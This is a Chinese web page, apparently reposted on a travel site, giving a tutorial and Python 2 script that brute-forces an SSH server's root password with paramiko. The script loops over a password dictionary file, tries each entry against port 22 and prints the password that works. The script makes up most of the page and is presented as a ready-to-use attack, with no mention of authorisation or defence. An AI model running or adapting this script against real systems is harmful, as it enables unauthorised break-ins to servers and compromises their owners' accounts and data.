您好,欢迎来到小侦探旅游网。
搜索
您的当前位置:首页利用python暴力破解root密码实例代码

利用python暴力破解root密码实例代码

来源:小侦探旅游网

环境准备:

1、安装paramiko模块

2、服务器ssh服务开启22号端口

下面请看代码

#!/usr/bin/py

#-*- coding: utf-8 -*-

import paramiko

ssh = paramiko.SSHClient() #实例化类

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes

d = file('/root/a.txt') #字典文件路径

for i in d.xreadlines(): #循环密码字典

i = i.strip() #去掉前后的空格

if not i: #如果值为空则进入下一轮循环

continue

try:

#开始尝试密码

ssh.connect(hostname='localhost', port=22, username='root', password=i)

print 'root密码是',i #如果密码正确则打印密码

break #跳出循环

except:

continue #如果密码错误则进入下一轮循环

else:

print '没有破解root密码,请更换字典重新尝试' #如果没有匹配到密码

Copyright © 2019- xiaozhentang.com 版权所有

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务